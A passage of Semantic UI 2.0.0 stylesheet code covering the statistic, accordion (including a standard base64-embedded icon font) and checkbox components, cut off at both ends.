.statistic > .value,\n.ui.statistic > .value {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 4rem;\n  font-weight: normal;\n  line-height: 1em;\n  color: #1b1c1d;\n  text-transform: uppercase;\n  text-align: center;\n}\n\n/*--------------\n     Label\n---------------*/\n\n.ui.statistics .statistic > .label,\n.ui.statistic > .label {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1em;\n  font-weight: bold;\n  color: rgba(0, 0, 0, 0.87);\n  text-transform: uppercase;\n  text-align: center;\n}\n\n/* Top Label */\n\n.ui.statistics .statistic > .label ~ .value,\n.ui.statistic > .label ~ .value {\n  margin-top: 0rem;\n}\n\n/* Bottom Label */\n\n.ui.statistics .statistic > .value ~ .label,\n.ui.statistic > .value ~ .label {\n  margin-top: 0rem;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*--------------\n   Icon Value\n---------------*/\n\n.ui.statistics .statistic > .value .icon,\n.ui.statistic > .value .icon {\n  opacity: 1;\n  width: auto;\n  margin: 0em;\n}\n\n/*--------------\n   Text Value\n---------------*/\n\n.ui.statistics .statistic > .text.value,\n.ui.statistic > .text.value {\n  line-height: 1em;\n  min-height: 2em;\n  font-weight: bold;\n  text-align: center;\n}\n\n.ui.statistics .statistic > .text.value + .label,\n.ui.statistic > .text.value + .label {\n  text-align: center;\n}\n\n/*--------------\n   Image Value\n---------------*/\n\n.ui.statistics .statistic > .value img,\n.ui.statistic > .value img {\n  max-height: 3rem;\n  vertical-align: baseline;\n}\n\n/*******************************\n            Variations\n*******************************/\n\n/*--------------\n      Count\n---------------*/\n\n.ui.ten.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.ten.statistics .statistic {\n  min-width: 10%;\n  margin: 0em 0em 2em;\n}\n\n.ui.nine.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.nine.statistics .statistic {\n  min-width: 11.11111111%;\n  margin: 0em 0em 2em;\n}\n\n.ui.eight.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.eight.statistics .statistic {\n  min-width: 12.5%;\n  margin: 0em 0em 2em;\n}\n\n.ui.seven.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.seven.statistics .statistic {\n  min-width: 14.28571429%;\n  margin: 0em 0em 2em;\n}\n\n.ui.six.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.six.statistics .statistic {\n  min-width: 16.66666667%;\n  margin: 0em 0em 2em;\n}\n\n.ui.five.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.five.statistics .statistic {\n  min-width: 20%;\n  margin: 0em 0em 2em;\n}\n\n.ui.four.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.four.statistics .statistic {\n  min-width: 25%;\n  margin: 0em 0em 2em;\n}\n\n.ui.three.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.three.statistics .statistic {\n  min-width: 33.33333333%;\n  margin: 0em 0em 2em;\n}\n\n.ui.two.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.two.statistics .statistic {\n  min-width: 50%;\n  margin: 0em 0em 2em;\n}\n\n.ui.one.statistics {\n  margin: 0em 0em -2em;\n}\n\n.ui.one.statistics .statistic {\n  min-width: 100%;\n  margin: 0em 0em 2em;\n}\n\n/*--------------\n   Horizontal\n---------------*/\n\n.ui.horizontal.statistic {\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.ui.horizontal.statistics {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  margin: 0em;\n  max-width: none;\n}\n\n.ui.horizontal.statistics .statistic {\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  max-width: none;\n  margin: 1em 0em;\n}\n\n.ui.horizontal.statistic > .text.value,\n.ui.horizontal.statistics > .statistic > .text.value {\n  min-height: 0em !important;\n}\n\n.ui.horizontal.statistics .statistic > .value .icon,\n.ui.horizontal.statistic > .value .icon {\n  width: 1.18em;\n}\n\n.ui.horizontal.statistics .statistic > .value,\n.ui.horizontal.statistic > .value {\n  display: inline-block;\n  vertical-align: middle;\n}\n\n.ui.horizontal.statistics .statistic > .label,\n.ui.horizontal.statistic > .label {\n  display: inline-block;\n  vertical-align: middle;\n  margin: 0em 0em 0em 0.75em;\n}\n\n/*--------------\n     Colors\n---------------*/\n\n.ui.red.statistics .statistic > .value,\n.ui.statistics .red.statistic > .value,\n.ui.red.statistic > .value {\n  color: #db2828;\n}\n\n.ui.orange.statistics .statistic > .value,\n.ui.statistics .orange.statistic > .value,\n.ui.orange.statistic > .value {\n  color: #f2711c;\n}\n\n.ui.yellow.statistics .statistic > .value,\n.ui.statistics .yellow.statistic > .value,\n.ui.yellow.statistic > .value {\n  color: #fbbd08;\n}\n\n.ui.olive.statistics .statistic > .value,\n.ui.statistics .olive.statistic > .value,\n.ui.olive.statistic > .value {\n  color: #b5cc18;\n}\n\n.ui.green.statistics .statistic > .value,\n.ui.statistics .green.statistic > .value,\n.ui.green.statistic > .value {\n  color: #21ba45;\n}\n\n.ui.teal.statistics .statistic > .value,\n.ui.statistics .teal.statistic > .value,\n.ui.teal.statistic > .value {\n  color: #00b5ad;\n}\n\n.ui.blue.statistics .statistic > .value,\n.ui.statistics .blue.statistic > .value,\n.ui.blue.statistic > .value {\n  color: #2185d0;\n}\n\n.ui.violet.statistics .statistic > .value,\n.ui.statistics .violet.statistic > .value,\n.ui.violet.statistic > .value {\n  color: #6435c9;\n}\n\n.ui.purple.statistics .statistic > .value,\n.ui.statistics .purple.statistic > .value,\n.ui.purple.statistic > .value {\n  color: #a333c8;\n}\n\n.ui.pink.statistics .statistic > .value,\n.ui.statistics .pink.statistic > .value,\n.ui.pink.statistic > .value {\n  color: #e03997;\n}\n\n.ui.brown.statistics .statistic > .value,\n.ui.statistics .brown.statistic > .value,\n.ui.brown.statistic > .value {\n  color: #a5673f;\n}\n\n.ui.grey.statistics .statistic > .value,\n.ui.statistics .grey.statistic > .value,\n.ui.grey.statistic > .value {\n  color: #767676;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n.ui.inverted.statistics .statistic > .value,\n.ui.inverted.statistic .value {\n  color: #ffffff;\n}\n\n.ui.inverted.statistics .statistic > .label,\n.ui.inverted.statistic .label {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.red.statistics .statistic > .value,\n.ui.statistics .inverted.red.statistic > .value,\n.ui.inverted.red.statistic > .value {\n  color: #ff695e;\n}\n\n.ui.inverted.orange.statistics .statistic > .value,\n.ui.statistics .inverted.orange.statistic > .value,\n.ui.inverted.orange.statistic > .value {\n  color: #ff851b;\n}\n\n.ui.inverted.yellow.statistics .statistic > .value,\n.ui.statistics .inverted.yellow.statistic > .value,\n.ui.inverted.yellow.statistic > .value {\n  color: #ffe21f;\n}\n\n.ui.inverted.olive.statistics .statistic > .value,\n.ui.statistics .inverted.olive.statistic > .value,\n.ui.inverted.olive.statistic > .value {\n  color: #d9e778;\n}\n\n.ui.inverted.green.statistics .statistic > .value,\n.ui.statistics .inverted.green.statistic > .value,\n.ui.inverted.green.statistic > .value {\n  color: #2ecc40;\n}\n\n.ui.inverted.teal.statistics .statistic > .value,\n.ui.statistics .inverted.teal.statistic > .value,\n.ui.inverted.teal.statistic > .value {\n  color: #6dffff;\n}\n\n.ui.inverted.blue.statistics .statistic > .value,\n.ui.statistics .inverted.blue.statistic > .value,\n.ui.inverted.blue.statistic > .value {\n  color: #54c8ff;\n}\n\n.ui.inverted.violet.statistics .statistic > .value,\n.ui.statistics .inverted.violet.statistic > .value,\n.ui.inverted.violet.statistic > .value {\n  color: #a291fb;\n}\n\n.ui.inverted.purple.statistics .statistic > .value,\n.ui.statistics .inverted.purple.statistic > .value,\n.ui.inverted.purple.statistic > .value {\n  color: #dc73ff;\n}\n\n.ui.inverted.pink.statistics .statistic > .value,\n.ui.statistics .inverted.pink.statistic > .value,\n.ui.inverted.pink.statistic > .value {\n  color: #ff8edf;\n}\n\n.ui.inverted.brown.statistics .statistic > .value,\n.ui.statistics .inverted.brown.statistic > .value,\n.ui.inverted.brown.statistic > .value {\n  color: #d67c1c;\n}\n\n.ui.inverted.grey.statistics .statistic > .value,\n.ui.statistics .inverted.grey.statistic > .value,\n.ui.inverted.grey.statistic > .value {\n  color: #dcddde;\n}\n\n/*--------------\n    Floated\n---------------*/\n\n.ui[class*=\"left floated\"].statistic {\n  float: left;\n  margin: 0em 2em 1em 0em;\n}\n\n.ui[class*=\"right floated\"].statistic {\n  float: right;\n  margin: 0em 0em 1em 2em;\n}\n\n.ui.floated.statistic:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n/* Mini */\n\n.ui.mini.statistics .statistic > .value,\n.ui.mini.statistic > .value {\n  font-size: 1.5rem;\n}\n\n.ui.mini.horizontal.statistics .statistic > .value,\n.ui.mini.horizontal.statistic > .value {\n  font-size: 1.5rem;\n}\n\n.ui.mini.statistics .statistic > .text.value,\n.ui.mini.statistic > .text.value {\n  font-size: 1rem;\n}\n\n/* Tiny */\n\n.ui.tiny.statistics .statistic > .value,\n.ui.tiny.statistic > .value {\n  font-size: 2rem;\n}\n\n.ui.tiny.horizontal.statistics .statistic > .value,\n.ui.tiny.horizontal.statistic > .value {\n  font-size: 2rem;\n}\n\n.ui.tiny.statistics .statistic > .text.value,\n.ui.tiny.statistic > .text.value {\n  font-size: 1rem;\n}\n\n/* Small */\n\n.ui.small.statistics .statistic > .value,\n.ui.small.statistic > .value {\n  font-size: 3rem;\n}\n\n.ui.small.horizontal.statistics .statistic > .value,\n.ui.small.horizontal.statistic > .value {\n  font-size: 2rem;\n}\n\n.ui.small.statistics .statistic > .text.value,\n.ui.small.statistic > .text.value {\n  font-size: 1rem;\n}\n\n/* Medium */\n\n.ui.statistics .statistic > .value,\n.ui.statistic > .value {\n  font-size: 4rem;\n}\n\n.ui.horizontal.statistics .statistic > .value,\n.ui.horizontal.statistic > .value {\n  font-size: 3rem;\n}\n\n.ui.statistics .statistic > .text.value,\n.ui.statistic > .text.value {\n  font-size: 2rem;\n}\n\n/* Large */\n\n.ui.large.statistics .statistic > .value,\n.ui.large.statistic > .value {\n  font-size: 5rem;\n}\n\n.ui.large.horizontal.statistics .statistic > .value,\n.ui.large.horizontal.statistic > .value {\n  font-size: 4rem;\n}\n\n.ui.large.statistics .statistic > .text.value,\n.ui.large.statistic > .text.value {\n  font-size: 2.5rem;\n}\n\n/* Huge */\n\n.ui.huge.statistics .statistic > .value,\n.ui.huge.statistic > .value {\n  font-size: 6rem;\n}\n\n.ui.huge.horizontal.statistics .statistic > .value,\n.ui.huge.horizontal.statistic > .value {\n  font-size: 5rem;\n}\n\n.ui.huge.statistics .statistic > .text.value,\n.ui.huge.statistic > .text.value {\n  font-size: 2.5rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Accordion\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Accordion\n*******************************/\n\n.ui.accordion,\n.ui.accordion .accordion {\n  max-width: 100%;\n}\n\n.ui.accordion .accordion {\n  margin: 1em 0em 0em;\n  padding: 0em;\n}\n\n/* Title */\n\n.ui.accordion .title,\n.ui.accordion .accordion .title {\n  cursor: pointer;\n}\n\n/* Default Styling */\n\n.ui.accordion .title:not(.ui) {\n  padding: 0.5em 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Content */\n\n.ui.accordion .title ~ .content,\n.ui.accordion .accordion .title ~ .content {\n  display: none;\n}\n\n/* Default Styling */\n\n.ui.accordion:not(.styled) .title ~ .content:not(.ui),\n.ui.accordion:not(.styled) .accordion .title ~ .content:not(.ui) {\n  margin: '';\n  padding: 0.5em 0em 1em;\n}\n\n.ui.accordion:not(.styled) .title ~ .content:not(.ui):last-child {\n  padding-bottom: 0em;\n}\n\n/* Arrow */\n\n.ui.accordion .title .dropdown.icon,\n.ui.accordion .accordion .title .dropdown.icon {\n  display: inline-block;\n  float: none;\n  opacity: 1;\n  width: 1.25em;\n  height: 1em;\n  margin: 0em 0.25rem 0em 0rem;\n  padding: 0em;\n  font-size: 1em;\n  -webkit-transition: -webkit-transform 0.1s ease, opacity 0.1s ease;\n  transition: transform 0.1s ease, opacity 0.1s ease;\n  vertical-align: baseline;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n}\n\n/*--------------\n    Coupling\n---------------*/\n\n/* Menu */\n\n.ui.accordion.menu .item .title {\n  display: block;\n  padding: 0em;\n}\n\n.ui.accordion.menu .item .title > .dropdown.icon {\n  float: right;\n  margin: 0.21425em 0em 0em 1em;\n  -webkit-transform: rotate(180deg);\n  -ms-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n\n/* Header */\n\n.ui.accordion .ui.header .dropdown.icon {\n  font-size: 1em;\n  margin: 0em 0.25rem 0em 0rem;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.accordion .active.title .dropdown.icon,\n.ui.accordion .accordion .active.title .dropdown.icon {\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n\n.ui.accordion.menu .item .active.title > .dropdown.icon {\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n\n/*******************************\n            Types\n*******************************/\n\n/*--------------\n     Styled\n---------------*/\n\n.ui.styled.accordion {\n  width: 600px;\n}\n\n.ui.styled.accordion,\n.ui.styled.accordion .accordion {\n  border-radius: 0.28571429rem;\n  background: #ffffff;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15);\n}\n\n.ui.styled.accordion .title,\n.ui.styled.accordion .accordion .title {\n  margin: 0em;\n  padding: 0.75em 1em;\n  color: rgba(0, 0, 0, 0.4);\n  font-weight: bold;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  -webkit-transition: background 0.1s ease, color 0.1s ease;\n  transition: background 0.1s ease, color 0.1s ease;\n}\n\n.ui.styled.accordion > .title:first-child,\n.ui.styled.accordion .accordion .title:first-child {\n  border-top: none;\n}\n\n/* Content */\n\n.ui.styled.accordion .content,\n.ui.styled.accordion .accordion .content {\n  margin: 0em;\n  padding: 0.5em 1em 1.5em;\n}\n\n.ui.styled.accordion .accordion .content {\n  padding: 0em;\n  padding: 0.5em 1em 1.5em;\n}\n\n/* Hover */\n\n.ui.styled.accordion .title:hover,\n.ui.styled.accordion .active.title,\n.ui.styled.accordion .accordion .title:hover,\n.ui.styled.accordion .accordion .active.title {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.styled.accordion .accordion .title:hover,\n.ui.styled.accordion .accordion .active.title {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Active */\n\n.ui.styled.accordion .active.title {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.styled.accordion .accordion .active.title {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n     Active\n---------------*/\n\n.ui.accordion .active.content,\n.ui.accordion .accordion .active.content {\n  display: block;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n     Fluid\n---------------*/\n\n.ui.fluid.accordion,\n.ui.fluid.accordion .accordion {\n  width: 100%;\n}\n\n/*--------------\n     Inverted\n---------------*/\n\n.ui.inverted.accordion .title:not(.ui) {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n@font-face {\n  font-family: 'Accordion';\n  src: url(\"data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfOIKAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zryj6HgAAAFwAAAAyGhlYWT/0IhHAAACOAAAADZoaGVhApkB5wAAAnAAAAAkaG10eAJuABIAAAKUAAAAGGxvY2EAjABWAAACrAAAAA5tYXhwAAgAFgAAArwAAAAgbmFtZfC1n04AAALcAAABPHBvc3QAAwAAAAAEGAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQASAEkAtwFuABMAADc0PwE2FzYXFh0BFAcGJwYvASY1EgaABQgHBQYGBQcIBYAG2wcGfwcBAQcECf8IBAcBAQd/BgYAAAAAAQAAAEkApQFuABMAADcRNDc2MzIfARYVFA8BBiMiJyY1AAUGBwgFgAYGgAUIBwYFWwEACAUGBoAFCAcFgAYGBQcAAAABAAAAAQAAqWYls18PPPUACwIAAAAAAM/9o+4AAAAAz/2j7gAAAAAAtwFuAAAACAACAAAAAAAAAAEAAAHg/+AAAAIAAAAAAAC3AAEAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAQAAAAC3ABIAtwAAAAAAAAAKABQAHgBCAGQAAAABAAAABgAUAAEAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\") format('truetype'), url(\"data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAASwAAoAAAAABGgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAS0AAAEtFpovuE9TLzIAAAIkAAAAYAAAAGAIIweQY21hcAAAAoQAAABMAAAATA984gpnYXNwAAAC0AAAAAgAAAAIAAAAEGhlYWQAAALYAAAANgAAADb/0IhHaGhlYQAAAxAAAAAkAAAAJAKZAedobXR4AAADNAAAABgAAAAYAm4AEm1heHAAAANMAAAABgAAAAYABlAAbmFtZQAAA1QAAAE8AAABPPC1n05wb3N0AAAEkAAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLa/iU+HQFHQAAAHkPHQAAAH4RHQAAAAkdAAABJBIABwEBBw0PERQZHnJhdGluZ3JhdGluZ3UwdTF1MjB1RjBEOXVGMERBAAACAYkABAAGAQEEBwoNVp38lA78lA78lA77lA773Z33bxWLkI2Qj44I9xT3FAWOj5CNkIuQi4+JjoePiI2Gi4YIi/uUBYuGiYeHiIiHh4mGi4aLho2Ijwj7FPcUBYeOiY+LkAgO+92L5hWL95QFi5CNkI6Oj4+PjZCLkIuQiY6HCPcU+xQFj4iNhouGi4aJh4eICPsU+xQFiIeGiYaLhouHjYePiI6Jj4uQCA74lBT4lBWLDAoAAAAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDZ//3//wAB/+MPKwADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAADfYOJZfDzz1AAsCAAAAAADP/aPuAAAAAM/9o+4AAAAAALcBbgAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAAAtwABAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAEAAAAAtwASALcAAAAAUAAABgAAAAAADgCuAAEAAAAAAAEADAAAAAEAAAAAAAIADgBAAAEAAAAAAAMADAAiAAEAAAAAAAQADABOAAEAAAAAAAUAFgAMAAEAAAAAAAYABgAuAAEAAAAAAAoANABaAAMAAQQJAAEADAAAAAMAAQQJAAIADgBAAAMAAQQJAAMADAAiAAMAAQQJAAQADABOAAMAAQQJAAUAFgAMAAMAAQQJAAYADAA0AAMAAQQJAAoANABaAHIAYQB0AGkAbgBnAFYAZQByAHMAaQBvAG4AIAAxAC4AMAByAGEAdABpAG4AZ3JhdGluZwByAGEAdABpAG4AZwBSAGUAZwB1AGwAYQByAHIAYQB0AGkAbgBnAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\") format('woff');\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* Dropdown Icon */\n\n.ui.accordion .title .dropdown.icon,\n.ui.accordion .accordion .title .dropdown.icon {\n  font-family: Accordion;\n  line-height: 1;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  font-weight: normal;\n  font-style: normal;\n  text-align: center;\n}\n\n.ui.accordion .title .dropdown.icon:before,\n.ui.accordion .accordion .title .dropdown.icon:before {\n  content: '\\f0da' ;\n}\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Checkbox\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           Checkbox\n*******************************/\n\n/*--------------\n    Content\n---------------*/\n\n.ui.checkbox {\n  position: relative;\n  display: inline-block;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  outline: none;\n  vertical-align: baseline;\n  min-height: 17px;\n  font-size: 1rem;\n  line-height: 17px;\n  min-width: 17px;\n}\n\n.ui.checkbox input[type=\"checkbox\"],\n.ui.checkbox input[type=\"radio\"] {\n  cursor: pointer;\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  opacity: 0 !important;\n  outline: none;\n  z-index: 3;\n  width: 17px;\n  height: 17px;\n}\n\n/*--------------\n      Box\n---------------*/\n\n.ui.checkbox .box,\n.ui.checkbox label {\n  cursor: auto;\n  position: relative;\n  display: block;\n  padding-left: 1.85714em;\n  outline: none;\n}\n\n.ui.checkbox .box,\n.ui.checkbox label {\n  font-size: 14px;\n}\n\n.ui.checkbox .box:before,\n.ui.checkbox label:before {\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  width: 17px;\n  height: 17px;\n  content: '';\n  background: #ffffff;\n  border-radius: 0.21428571rem;\n  -webkit-transition: border 0.1s ease, opacity 0.1s ease, -webkit-transform 0.1s ease, box-shadow 0.1s ease;\n  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease;\n  border: 1px solid #d4d4d5;\n}\n\n/*--------------\n    Checkmark\n---------------*/\n\n.ui.checkbox .box:after,\n.ui.checkbox label:after {\n  position: absolute;\n  font-size: 14px;\n  top: 0px;\n  left: 0px;\n  width: 17px;\n  height: 17px;\n  text-align: center;\n  opacity: 0;\n  color: rgba(0, 0, 0, 0.87);\n  -webkit-transition: border 0.1s ease, opacity 0.1s ease, -webkit-transform 0.1s ease, box-shadow 0.1s ease;\n  transition: border 0.1s ease, opacity 0.1s ease, transform 0.1s ease, box-shadow 0.1s ease;\n}\n\n/*--------------\n      Label\n---------------*/\n\n/* Inside */\n\n.ui.checkbox label,\n.ui.checkbox + label {\n  color: rgba(0, 0, 0, 0.87);\n  -webkit-transition: color 0.1s ease;\n  transition: color 0.1s ease;\n}\n\n/* Outside */\n\n.ui.checkbox + label {\n  vertical-align: middle;\n}\n\n/*******************************\n           States\n*******************************/\n\n/*--------------\n      Hover\n---------------*/\n\n.ui.checkbox .box:hover::before,\n.ui.checkbox label:hover::before {\n  background: #ffffff;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n.ui.checkbox label:hover,\n.ui.checkbox + label:hover {\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/*--------------\n      Down\n---------------*/\n\n.ui.checkbox .box:active::before,\n.ui.checkbox label:active::before {\n  background: #f9fafb;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n.ui.checkbox .box:active::after,\n.ui.checkbox label:active::after {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.checkbox input[type=\"checkbox\"]:active ~ label,\n.ui.checkbox input[type=\"radio\"]:active ~ label {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Focus\n---------------*/\n\n.ui.checkbox input[type=\"checkbox\"]:focus ~ .box:before,\n.ui.checkbox input[type=\"checkbox\"]:focus ~ label:before,\n.ui.checkbox input[type=\"radio\"]:focus ~ .box:before,\n.ui.checkbox input[type=\"radio\"]:focus ~ label:before {\n  background: #f9fafb;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n.ui.checkbox input[type=\"checkbox\"]:focus ~ .box:after,\n.ui.checkbox input[type=\"checkbox\"]:focus ~ label:after,\n.ui.checkbox input[type=\"radio\"]:focus ~ .box:after,\n.ui.checkbox input[type=\"radio\"]:focus ~ label:after {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.checkbox input[type=\"checkbox\"]:focus ~ label,\n.ui.checkbox input[type=\"radio\"]:focus ~ label {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.checkbox input:checked ~ .box:before,\n.ui.checkbox input:checked ~ label:before {\n  background: #ffffff;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n.ui.checkbox input:checked ~ .box:after,\n.ui.checkbox input:checked ~ label:after {\n  opacity: 1;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n  Indeterminate\n---------------*/\n\n.ui.checkbox input:indeterminate ~ .box:before,\n.ui.checkbox input:indeterminate ~ label:before {\n  background: #ffffff;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n.ui.checkbox input:indeterminate ~ .box:after,\n.ui.checkbox input:indeterminate ~ label:after {\n  opacity: 1;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n  Active Focus\n---------------*/\n\n.ui.checkbox input[type=\"radio\"]:indeterminate:focus ~ .box:before,\n.ui.checkbox input[type=\"radio\"]:indeterminate:focus ~ label:before,\n.ui.checkbox input[type=\"radio\"]:checked:focus ~ .box:before,\n.ui.checkbox input[type=\"radio\"]:checked:focus ~ label:before {\n  background: #f9fafb;\n  border-color: rgba(34, 36, 38, 0.35);\n}\n\n/*--------------\n    Read-Only\n---------------*/\n\n.ui.read-only.checkbox,\n.ui.read-only.checkbox label {\n  cursor: default;\n}\n\n/*--------------\n     Disabled\n---------------*/\n\n.ui.disabled.checkbox .box:after,\n.ui.disabled.checkbox label,\n.ui.checkbox input[disabled] ~ .box:after,\n.ui.checkbox input[disabled] ~ label {\n  cursor: default;\n  opacity: 0.5;\n  color: #000000;\n}\n\n/*--------------\n     Hidden\n---------------*/\n\n/* Initialized checkbox moves input below element\n to prevent manually triggering */\n\n.ui.checkbox input[type=\"checkbox\"].hidden,\n.ui.checkbox input[type=\"radio\"].hidden {\n  z-index: -1;\n}\n\n/* Selectable Label */\n\n.ui.checkbox input[type=\"checkbox\"].hidden + label,\n.ui.checkbox input[type=\"radio\"].hidden + label {\n  cursor: pointer;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*--------------\n     Radio\n---------------*/\n\n.ui.radio.checkbox {\n  min-height: 15px;\n}\n\n.ui.radio.checkbox .box,\n.ui.radio.checkbox label {\n  padding-left: 1.85714em;\n}\n\n/* Box */\n\n.ui.radio.checkbox .box:before,\n.ui.radio.checkbox label:before {\n  content: '';\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  width: 15px;\n  height: 15px;\n  border-radius: 500rem;\n  top: 1px;\n  left: 0px;\n}\n\n/* Bullet */\n\n.ui.radio.checkbox .box:after,\n.ui.radio.checkbox label:after {\n  border: none;\n  content: '' !important;\n  width: 15px;\n  height: 15px;\n  line-height: 15px;\n}\n\n/* Radio Checkbox */\n\n.ui.radio.checkbox 